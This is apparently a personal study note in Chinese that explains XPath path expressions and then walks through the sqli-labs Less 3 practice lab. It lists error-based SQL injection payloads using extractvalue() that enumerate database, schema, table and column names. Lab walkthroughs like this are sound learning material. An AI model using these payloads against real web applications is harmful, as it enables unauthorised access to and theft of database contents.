文章爲自我記錄,相關原理還是得自己查呀
前置知識xpath
XPath 使用路徑表達式在 XML 文檔中選取節點。節點是通過沿着路徑或者 step 來選取的。
下面列出了最有用的路徑表達式:
表達式 | 描述 |
---|---|
nodename | 選取此節點的所有子節點。 |
/ | 從根節點選取。 |
// | 從匹配選擇的當前節點選擇文檔中的節點,而不考慮它們的位置。 |
. | 選取當前節點。 |
… | 選取當前節點的父節點。 |
@ | 選取屬性。 |
實例
在下面的表格中,我們已列出了一些路徑表達式以及表達式的結果:
路徑表達式 | 結果 |
---|---|
bookstore | 選取 bookstore 元素的所有子節點。 |
/bookstore | 選取根元素 bookstore。註釋:假如路徑起始於正斜槓( / ),則此路徑始終代表到某元素的絕對路徑! |
bookstore/book | 選取屬於 bookstore 的子元素的所有 book 元素。 |
//book | 選取所有 book 子元素,而不管它們在文檔中的位置。 |
bookstore//book | 選擇屬於 bookstore 元素的後代的所有 book 元素,而不管它們位於 bookstore 之下的什麼位置。 |
//@lang | 選取名爲 lang 的所有屬性。 |
xpath通配符
XPath 通配符可用來選取未知的 XML 元素。
通配符 | 描述 |
---|---|
* | 匹配任何元素節點。 |
@* | 匹配任何屬性節點。 |
node() | 匹配任何類型的節點。 |
sqli-lab 3
具體流程還得見入門篇~~~
利用函數extractvalue,updatexml(替換查找xml文檔)
1.找注入點
基本就是靠’ 來判斷數字or字符, 1’ and 1=1 --+
1’ and 1=2 --+ 等語句找
2.進行注入
ps.爲了防止打錯,建議不要在地址欄中直接輸入,而是利用hackbar
爆當前庫名
?id=1') and extractvalue(1,concat(0x23,database()))--+
爆所有數據庫名
?id=1') and extractvalue(1,concat(0x23,(select group_concat(schema_name) from information_schema.schemata)))--+
爆全部表名
?id=1%27)%20and%20extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security' )))--+
爆指定表的所有字段—好像爆錯數據庫了,不過沒關係,都一樣了
?id=1%27)%20and%20extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_name='users')))--+